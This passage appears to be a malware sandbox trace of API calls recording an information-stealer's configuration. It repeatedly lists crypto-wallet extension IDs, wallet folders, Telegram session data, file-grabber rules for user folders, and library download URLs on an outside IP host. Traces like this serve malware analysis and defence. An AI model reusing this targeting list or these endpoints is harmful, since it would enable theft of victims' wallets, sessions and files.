Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 5278 [0266.267] LocalAlloc (uFlags=0x40, uBytes=0x293c) returned 0x6f7178 [0266.267] lstrlenW (lpString="libs_nss3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll\nlibs_msvcp140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll\nlibs_vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 5278 [0266.267] LocalAlloc (uFlags=0x40, uBytes=0x293c) returned 0x6f9ac0 [0266.267] lstrlenW (lpString="guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 3977 [0266.267] LocalAlloc (uFlags=0x40, uBytes=0x1f92) returned 0x6fc408 [0266.267] StrCpyW (in: psz1=0x6ef5a0, psz2="Guarda" | out: psz1="Guarda") returned="Guarda" [0266.268] LocalFree (hMem=0x6fc408) returned 0x0 [0266.268] StrStrW (lpFirst="26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch=";") returned=";Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0266.268] lstrlenW (lpString="guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram 